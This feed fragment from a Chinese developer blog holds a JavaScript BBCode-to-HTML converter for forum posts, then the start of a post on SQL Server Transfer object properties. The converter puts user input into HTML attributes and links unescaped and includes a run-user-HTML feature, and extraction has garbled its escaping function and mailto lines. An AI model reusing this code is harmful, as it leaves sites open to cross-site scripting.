<P>[html][color=red]te<BR>st[/color][/html]</P>
<P>[html][code]te<BR>st[/code][/html]</P>
<P>[code][html]te<BR>st[/html][/code]&lt;/textarea&gt;<BR>&lt;br&gt;&lt;button onclick=show.innerHTML=UBBCode(phx.value,"html")&gt;转换&lt;/button&gt;&lt;br&gt;<BR>&lt;div id=show style="border:1 solid skyblue;width=500;font-size: 12px;FONT-FAMILY: <BR>'Tahoma', 'MS Shell Dlg';<BR>"&gt;&lt;/div&gt;</P>
<P><BR>&lt;script&gt;<BR>strIcons = "1"&nbsp; //允许笑脸转换<BR>strSmile="1"&nbsp;&nbsp; //同上<BR>ImgName="em"<BR>picurl="pic/"</P>
<P>function UBBCode(content,html){<BR>st=new Date().getTime()<BR>content=content.replace(/\[(\/)?phx_code\]/ig,"{$1phx_code}");<BR>content=content.replace(/\[(\/)?phx_html\]/ig,"{$1phx_html}");<BR>content="[phx_code]"+content+"[/phx_code]";&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>content=content.replace(/(\[code\]([\s\S]+?)\[\/code\])/ig,"[/phx_code]$1[phx_code]");<BR>content=content.replace(/\[phx_code\]([\s\S]*?)\[\/phx_code\]/ig,function($1,$2){if(html=="html"){return(HTMLCode($2));}else{return(trans($2));}});<BR>content=content.replace(/\[code\](\r\n)?([\s\S]+?)\[\/code\]/ig,function($1,$2,$3){return("&lt;PRE class=CodeSamp&gt;"+DvbbsHtmlAn($3)+"&lt;/PRE&gt;")});<BR>content=content.replace(/\{(\/)?phx_code\}/ig,"[$1phx_code]");<BR>content=content.replace(/\{(\/)?phx_html\}/ig,"[$1phx_html]");<BR>alert('共耗时 '+eval(new Date().getTime()-st)+' ms');<BR>return(content);<BR>}</P>
<P>function HTMLCode(content){&nbsp;&nbsp;<BR>content="[phx_html]"+content+"[/phx_html]";&nbsp;&nbsp;&nbsp; <BR>content=content.replace(/(\[html\]([\s\S]+?)\[\/html\])/ig,"[/phx_html]$1[phx_html]");<BR>content=content.replace(/\[phx_html\]([\s\S]*?)\[\/phx_html\]/ig,function($1,$2){return(trans($2))});<BR>content=content.replace(/\[html\]([\s\S]+?)\[\/html\]/ig,function($1,$2){return("&lt;span&gt;&lt;TEXTAREA cols=95 rows=12&gt;"+hencode($2)+"&lt;/TEXTAREA&gt;&lt;br&gt;&lt;INPUT onclick=runCode() type=button value=运行代码&gt;[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]&lt;/span&gt;")});<BR>return(content);<BR>}</P>
<P>function hencode(fString){&nbsp; //简单模拟server.htmlencode&nbsp;&nbsp; ASP中不用这个<BR>&nbsp;fString = fString.replace(/&/ig,"&amp;") <BR>&nbsp;fString = fString.replace(/&gt;/ig,"&gt;")&nbsp;//&gt;<BR>&nbsp;fString = fString.replace(/&lt;/ig,"&lt;")&nbsp;//&lt;<BR>return fString;<BR>}</P>
<P>function DvbbsHtmlAn(fString){</P>
<P>if(fString=="")return("");</P>
<P>fString=hencode(fString)</P>
<P>&nbsp;fString = fString.replace(/\t/ig,"&nbsp;&nbsp;&nbsp;")&nbsp;//Tab<BR>&nbsp;fString = fString.replace(/"/ig,"&quot;")&nbsp;&nbsp;&nbsp;&nbsp;//"<BR>&nbsp;fString = fString.replace(/'/ig,"&#39;")&nbsp;&nbsp;&nbsp;&nbsp;//'<BR>&nbsp;fString = fString.replace(/\r/ig,"")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//回车是一个13+10<BR>&nbsp;fString = fString.replace(/\n\n/ig,"&lt;P&gt;")&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;<BR>&nbsp;fString = fString.replace(/\n/ig,"&lt;BR&gt;")&nbsp;&nbsp;&nbsp;&nbsp;//换行<BR>&nbsp;fString = fString.replace(/\x20/ig,"&nbsp;")&nbsp;&nbsp;&nbsp;//空格&nbsp;</P>
<P>&nbsp;<BR>return(fString);<BR>}</P>
<P>function trans(strContent){<BR>var re;<BR>strContent=DvbbsHtmlAn(strContent);<BR>&nbsp;<BR>&nbsp;re=/\[IMG\](.+?)\[\/IMG\]/ig;<BR>&nbsp;strContent=strContent.replace(re,"&lt;a href=$1 target=_blank&gt;&lt;IMG SRC=$1 border=0 alt=按此在新窗口浏览图片 onload=\"javascript:if(this.width&gt;screen.width-333)this.width=screen.width-333\" galleryImg=no&gt;&lt;/a&gt;");<BR>&nbsp;re=/\[DIR=*([0-9]*),*([0-9]*)\](.*?)\[\/DIR]/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;object classid=clsid:166B1BCA-3F9C-11CF-8075-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=7,0,2,0 width=$1 height=$2&gt;&lt;param name=src value=$3&gt;&lt;embed src=$3 pluginspage=http://www.macromedia.com/shockwave/download/ width=$1 height=$2&gt;&lt;/embed&gt;&lt;/object&gt;")<BR>&nbsp;re=/\[QT=*([0-9]*),*([0-9]*)\](.*?)\[\/QT]/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;embed src=$3 width=$1 height=$2 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/&gt;")<BR>&nbsp;re=/\[MP=*([0-9]*),*([0-9]*)\](.*?)\[\/MP]/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;object align=middle classid=CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95 class=OBJECT id=MediaPlayer width=$1 height=$2 &gt;&lt;param name=ShowStatusBar value=-1&gt;&lt;param name=Filename value=$3&gt;&lt;embed type=application/x-oleobject codebase=http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701 flename=mp src=$3&nbsp; width=$1 height=$2&gt;&lt;/embed&gt;&lt;/object&gt;")<BR>&nbsp;re=/\[RM=*([0-9]*),*([0-9]*)\](.*?)\[\/RM]/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;OBJECT classid=clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA class=OBJECT id=RAOCX width=$1 height=$2&gt;&lt;PARAM NAME=SRC VALUE=$3&gt;&lt;PARAM NAME=CONSOLE VALUE=Clip1&gt;&lt;PARAM NAME=CONTROLS VALUE=imagewindow&gt;&lt;PARAM NAME=AUTOSTART VALUE=true&gt;&lt;/OBJECT&gt;&lt;br&gt;&lt;OBJECT classid=CLSID:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA height=32 id=video2 width=$1&gt;&lt;PARAM NAME=SRC VALUE=$3&gt;&lt;PARAM NAME=AUTOSTART VALUE=-1&gt;&lt;PARAM NAME=CONTROLS VALUE=controlpanel&gt;&lt;PARAM NAME=CONSOLE VALUE=Clip1&gt;&lt;/OBJECT&gt;")</P>
<P><BR>&nbsp;re=/(\[FLASH\])(.*?)(\[\/FLASH\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=500 height=400&gt;&lt;PARAM NAME=movie VALUE=$2&gt;&lt;PARAM NAME=quality VALUE=high&gt;&lt;embed src=$2 quality=high pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width=500 height=400&gt;$2&lt;/embed&gt;&lt;/OBJECT&gt;")<BR>&nbsp;re=/(\[FLASH=*([0-9]*),*([0-9]*)\])(.*?)(\[\/FLASH\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;a href=$4 TARGET=_blank&gt;&lt;IMG SRC=pic/swf.gif border=0 alt=点击开新窗口欣赏该FLASH动画!&gt; [全屏欣赏]&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;OBJECT codeBase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 width=$2 height=$3&gt;&lt;PARAM NAME=movie VALUE=$4&gt;&lt;PARAM NAME=quality VALUE=high&gt;&lt;param name=menu value=false&gt;&lt;embed src=$4 quality=high menu=false pluginspage='http://www.macromedia.com/go/getflashplayer' type='application/x-shockwave-flash' width=$2 height=$3&gt;$4&lt;/embed&gt;&lt;/OBJECT&gt;")</P>
<P>&nbsp;re=/(\[UPLOAD=gif\])(.*?)(\[\/UPLOAD\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;br&gt;&lt;IMG SRC="+picurl+"gif.gif border=0&gt;此主题相关图片如下：&lt;br&gt;&lt;A HREF=$2 TARGET=_blank&gt;&lt;IMG SRC=$2 border=0 alt=按此在新窗口浏览图片 onload=\"javascript:if(this.width&gt;screen.width-333)this.width=screen.width-333\"&gt;&lt;/A&gt;")<BR>&nbsp;re=/(\[UPLOAD=jpg\])(.*?)(\[\/UPLOAD\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;br&gt;&lt;IMG SRC="+picurl+"jpg.gif border=0&gt;此主题相关图片如下：&lt;br&gt;&lt;A HREF=$2 TARGET=_blank&gt;&lt;IMG SRC=$2 border=0 alt=按此在新窗口浏览图片 onload=\"javascript:if(this.width&gt;screen.width-333)this.width=screen.width-333\"&gt;&lt;/A&gt;")<BR>&nbsp;re=/(\[UPLOAD=bmp\])(.*?)(\[\/UPLOAD\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;br&gt;&lt;IMG SRC="+picurl+"bmp.gif border=0&gt;此主题相关图片如下：&lt;br&gt;&lt;A HREF=$2 TARGET=_blank&gt;&lt;IMG SRC=$2 border=0 alt=按此在新窗口浏览图片 onload=\"javascript:if(this.width&gt;screen.width-333)this.width=screen.width-333\"&gt;&lt;/A&gt;")</P>
<P>&nbsp;re=/(\[UPLOAD=(.[^\[]*)\])(.*?)(\[\/UPLOAD\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;br&gt;&lt;IMG SRC="+picurl+"$2.gif border=0&gt; &lt;a href=$3&gt;点击浏览该文件&lt;/a&gt;")</P>
<P>&nbsp;re=/(\[URL\])(.*?)(\[\/URL\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;A HREF=$2 TARGET=_blank&gt;$2&lt;/A&gt;")<BR>&nbsp;re=/(\[URL=(.[^\[]*)\])(.*?)(\[\/URL\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;A HREF=$2 TARGET=_blank&gt;$3&lt;/A&gt;")</P>
<P>&nbsp;re=/(\[EMAIL\])(.*?)(\[\/EMAIL\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;img align=absmiddle src=pic/email1.gif&gt;&lt;A HREF=\"<a href='mailto:$2\">$2</A'>mailto:$2\"&gt;$2&lt;/A</A>&gt;")<BR>&nbsp;re=/(\[EMAIL=(.[^\[]*)\])(.*?)(\[\/EMAIL\])/ig<BR>&nbsp;strContent= strContent.replace(re,"&lt;img align=absmiddle src=pic/email1.gif&gt;&lt;A HREF=\"<A href="http://www.openx.cn/mailto:$2\">mailto:$2\</A>" TARGET=_blank&gt;$3&lt;/A&gt;")</P>
<P>&nbsp;re =/^(http:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/(http:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/[^&gt;=""](http:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/^(ftp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/(ftp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/[^&gt;=""](ftp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/^(rtsp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/(rtsp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/[^&gt;=""](rtsp:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/^(mms:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/(mms:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)$/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")<BR>&nbsp;re =/[^&gt;=""](mms:\/\/[A-Za-z0-9\.\/=\?%\-&_~`@':+!]+)/ig<BR>&nbsp;strContent = strContent.replace(re,"&lt;img align=absmiddle src=pic/url.gif&gt;&lt;a target=_blank href=$1&gt;$1&lt;/a&gt;")</P>
<P>&nbsp;if(strIcons == "1"){&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //笑脸转换<BR>&nbsp;re=/(\[em(.*?)\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;img src="+picurl+ImgName+"$2.gif border=0 align=middle&gt;")<BR>&nbsp;}</P>
<P>&nbsp;if(strSmile == "1"){&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //笑脸转换<BR>&nbsp;re=/(\[s(\d{1,2})\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;img src=smile/face$2.gif border=0 align=middle&gt;")<BR>&nbsp;}</P>
<P>&nbsp;re=/(\[color=(.[^\[]*)\])(.*?)(\[\/color\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font color=$2&gt;$3&lt;/font&gt;")<BR>&nbsp;re=/(\[face=(.[^\[]*)\])(.*?)(\[\/face\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font face=$2&gt;$3&lt;/font&gt;")<BR>&nbsp;re=/(\[align=(.[^\[]*)\])(.*?)(\[\/align\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;div align=$2&gt;$3&lt;/div&gt;")<BR>//循环转换quote<BR>&nbsp;re=/(\[QUOTE\])(.*?)(\[\/QUOTE\])/ig<BR>&nbsp;while(strContent.indexOf("[quote]")&gt;0 && strContent.indexOf("[/quote] ")&gt;0){<BR>&nbsp;strContent=strContent.replace(re,"&lt;blockquote&gt;引用:&lt;hr&gt;&lt;span&gt;$2&lt;/span&gt;&lt;hr&gt;&lt;/blockquote&gt;")<BR>&nbsp;}<BR>&nbsp;re=/(\[fly\])(.*?)(\[\/fly\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;marquee width=90% behavior=alternate scrollamount=3&gt;$2&lt;/marquee&gt;")<BR>&nbsp;re=/(\[move\])(.*?)(\[\/move\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;MARQUEE scrollamount=3&gt;$2&lt;/marquee&gt;")&nbsp;<BR>&nbsp;re=/\[GLOW=*([0-9]*),*(#*[a-z0-9]*),*([0-9]*)\](.*?)\[\/GLOW]/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;table width=$1 style=\"filter:glow(color=$2, strength=$3)\"&gt;$4&lt;/table&gt;")<BR>&nbsp;re=/\[SHADOW=*([0-9]*),*(#*[a-z0-9]*),*([0-9]*)\](.*?)\[\/SHADOW]/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;table width=$1 style=\"filter:shadow(color=$2, strength=$3)\"&gt;$4&lt;/table&gt;")</P>
<P>&nbsp;re=/(\[i\])(.*?)(\[\/i\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;i&gt;$2&lt;/i&gt;")<BR>&nbsp;re=/(\[u\])(.*?)(\[\/u\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;u&gt;$2&lt;/u&gt;")<BR>&nbsp;re=/(\[b\])(.*?)(\[\/b\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;b&gt;$2&lt;/b&gt;")</P>
<P>&nbsp;re=/(\[size=1\])(.*?)(\[\/size\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font size=1&gt;$2&lt;/font&gt;")<BR>&nbsp;re=/(\[size=2\])(.*?)(\[\/size\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font size=2&gt;$2&lt;/font&gt;")<BR>&nbsp;re=/(\[size=3\])(.*?)(\[\/size\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font size=5&gt;$2&lt;/font&gt;")<BR>&nbsp;re=/(\[size=4\])(.*?)(\[\/size\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font size=6&gt;$2&lt;/font&gt;")<BR>&nbsp;<BR>&nbsp;re=/\[size=([+|-]?[0-7])\](.*?)(\[\/size\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;font size=$1&gt;$2&lt;/font&gt;")<BR>&nbsp;<BR>&nbsp;re=/(\[list\])(.+?)(\[\/list\])/ig;<BR>&nbsp;&nbsp;&nbsp; strContent=strContent.replace(re,"&lt;UL TYPE=SQUARE&gt;$2&lt;\/UL&gt;");<BR>&nbsp;&nbsp;&nbsp; re=/(\[list=)(A|1)(\])(.+?)(\[\/list\])/ig;<BR>&nbsp;&nbsp;&nbsp; strContent=strContent.replace(re,"&lt;OL TYPE=$2&gt;$4&lt;\/OL&gt;");<BR>&nbsp;&nbsp;&nbsp; re=/(\[\*\])/ig;<BR>&nbsp;&nbsp;&nbsp; strContent=strContent.replace(re,"&lt;LI&gt;");</P>
<P>&nbsp;re=/(\[center\])(.*?)(\[\/center\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;center&gt;$2&lt;/center&gt;")</P>
<P>&nbsp;re=/(\[table=(#*[a-z0-9]*),(#*[a-z0-9]*),(#*[a-z0-9]*)\])(.*?)(\[\/table\])/ig<BR>&nbsp;strContent=strContent.replace(re,"&lt;table border=0 cellpadding=5 cellspacing=1 bgcolor=$2&gt;&lt;tr&gt;&lt;td bgcolor=$3&gt;&lt;font color=$4&gt;$5&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;")</P>
<P>return(strContent);<BR>}<BR>&lt;/script&gt;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=150" /> 
	  <id>http://www.openx.cn/default.asp?id=150</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[复制表结构的通用存储过程]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-14T22:31:45+08:00</updated>
	  <published>2005-11-14T22:31:45+08:00</published>
		  <summary type="html"><![CDATA[<P>--&nbsp;Transfer对象的重要属性</P>
<P>&nbsp;--&nbsp;1.&nbsp;属性 </P>
<P style="BORDER-RIGHT: #0099cc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #0099cc 1px solid; PADDING-LEFT: 5px; FONT-SIZE: 12px; PADDING-BOTTOM: 5px; MARGIN: 5px; BORDER-LEFT: #0099cc 1px solid; WIDTH: auto; COLOR: #339966; LINE-HEIGHT: 18px; PADDING-TOP: 5px; BORDER-BOTTOM: #0099cc 1px solid; FONT-FAMILY: ' BACKGROUND-COLOR: #fafafa; Verdana: ; quot: ; Courier: ; mono:">属性名&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;类型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;描述<BR>---------------------------------&nbsp;-------------------&nbsp;--------------------<BR>CopyAllDefaults&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有默认值<BR>CopyAllObjects&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有对象<BR>CopyAllRules&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有规则<BR>CopyAllStoredProcedures&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有存储过程<BR>CopyAllTables&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有表<BR>CopyAllTriggers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有触发器<BR>CopyAllUserDefinedDatatypes&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有用户自定义类型<BR>CopyAllViews&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有视图<BR>CopyData&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;所有数据<BR>DestDatabase&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目标对象数据库<BR>DestLogin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目标数据库登陆用户名<BR>DestPassword&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目标数据库登陆密码<BR>DestServer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;目标服务器<BR>DestUseTrustedConnection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;用户信任连接<BR>DropDestObjectsFirst&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;是否先删除目标对象<BR>IncludeDependencies&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;是否包含依靠对象<BR>ScriptType&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Boolean&nbsp;&nbsp;&nbsp;&nbsp;脚本类型 </P>
<P><SPAN style="BORDER-RIGHT: #999999 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #999999 1px solid; PADDING-LEFT: 5px; FONT-WEIGHT: bold; FONT-SIZE: 13px; BACKGROUND-IMAGE: url(http://blog.csdn.net/images/blog_csdn_net/zjcxc/36941/o_xgart_bg.gif); PADDING-BOTTOM: 5px; MARGIN: 0px; BORDER-LEFT: #999999 0px solid; WIDTH: 515px; COLOR: #0000ff; LINE-HEIGHT: 16px; PADDING-TOP: 5px; BORDER-BOTTOM: #999999 1px solid; BACKGROUND-REPEAT: repeat-x; HEIGHT: 28px">--&nbsp;2.&nbsp;重要方法:&nbsp; </SPAN></P>
<P style="BORDER-RIGHT: #0099cc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #0099cc 1px solid; PADDING-LEFT: 5px; FONT-SIZE: 12px; PADDING-BOTTOM: 5px; MARGIN: 5px; BORDER-LEFT: #0099cc 1px solid; WIDTH: auto; COLOR: #339966; LINE-HEIGHT: 18px; PADDING-TOP: 5px; BORDER-BOTTOM: #0099cc 1px solid; FONT-FAMILY: ' BACKGROUND-COLOR: #fafafa; Verdana: ; quot: ; Courier: ; mono:">方法名称&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;功能描述<BR>---------------------------&nbsp;--------------------------<BR>AddObject&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;增加对象<BR>AddObjectByName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;通过对象名称增加对象 </P>
<P style="BORDER-RIGHT: #0099cc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #0099cc 1px solid; PADDING-LEFT: 5px; FONT-SIZE: 12px; PADDING-BOTTOM: 5px; MARGIN: 5px; BORDER-LEFT: #0099cc 1px solid; WIDTH: auto; COLOR: #000000; LINE-HEIGHT: 18px; PADDING-TOP: 5px; BORDER-BOTTOM: #0099cc 1px solid; FONT-FAMILY: ' BACKGROUND-COLOR: #ddedfb; Verdana: ; quot: ; Courier: ; 